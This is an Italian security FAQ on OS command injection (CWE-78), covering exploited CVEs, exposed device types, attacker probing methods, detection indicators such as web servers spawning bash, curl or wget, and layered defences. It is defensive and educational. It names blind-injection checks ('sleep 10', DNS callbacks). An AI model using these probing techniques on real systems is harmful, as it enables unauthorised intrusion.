Sì. Agli aggressori può bastare una richiesta HTTP appositamente creata verso un endpoint vulnerabile. La catena di attacco di Ivanti Connect Secure (CVE-2024-21887) e la vulnerabilità zero-day di Cisco IOS XE (CVE-2023-20198) sono state entrambe sfruttate da remoto.
Gli apparati di rete, come gateway VPN, router e firewall, rappresentano la superficie di attacco a più alto rischio. Anche i dispositivi IoT, le applicazioni web integrate con il sistema operativo e le piattaforme di deployment self-hosted sono particolarmente esposti.
Recenti esempi di CWE-78 includono le piattaforme di addestramento degli agenti IA e degli LLM in cui le chiamate Python Popen elaborano input non sanitizzati.
Gli aggressori sondano le funzionalità applicative che interagiscono con il sistema operativo, come le operazioni sui file, le ricerche DNS, l'elaborazione delle immagini o le interfacce di amministrazione. Testano parametri URL, campi dei moduli, header, cookie e nomi di file con metacaratteri della shell.
Per verificare un'iniezione senza riscontro diretto, usano ritardi come sleep 10 e callback DNS fuori banda per confermare l'esecuzione.
Tra gli indicatori principali ci sono i processi del server web che avviano bash, sh, cmd.exe, o PowerShell come processi figli.
Anche comandi come whoami, id, ifconfig, curl, wget, o nslookup eseguiti da processi principali delle applicazioni web sono segnali forti. Richieste in uscita insolite e ricerche DNS verso domini sconosciuti possono indicare uno sfruttamento.
La command injection è una delle classi di vulnerabilità più gravi perché offre un percorso diretto da una richiesta web al controllo del sistema operativo. CWE-78 ha raggiunto il #1 nella classifica KEV.
Il tasso con cui viene sfruttata negli attacchi supera la sua diffusione effettiva, perché può dare accesso immediato alla shell in un solo passaggio.
Sì. I comandi iniettati vengono eseguiti con i privilegi dell'applicazione vulnerabile. Se l'applicazione viene eseguita come root o con privilegi elevati, gli aggressori possono ottenere il pieno controllo del sistema.
Anche con privilegi inferiori, possono aumentarli, creare un accesso persistente o spostarsi lateralmente. Le vulnerabilità di Coolify hanno mostrato che la command injection può portare all'evasione dal container e alla compromissione completa del server.
Nessun singolo strumento offre una copertura completa. SAST individua pattern di codice pericolosi, DAST testa le applicazioni in esecuzione con payload e RASP rileva l'effettiva invocazione dei comandi all'interno dell'applicazione.
Il monitoraggio comportamentale degli endpoint rileva lo sfruttamento dopo l'esecuzione. La copertura a più livelli è la più efficace.
Le organizzazioni che si affidano ad apparati di rete, dispositivi IoT o applicazioni web integrate con il sistema operativo sono particolarmente esposte.
Gli operatori delle infrastrutture critiche corrono rischi particolari, come hanno dimostrato gli attacchi del maggio 2023 contro 22 aziende energetiche danesi.



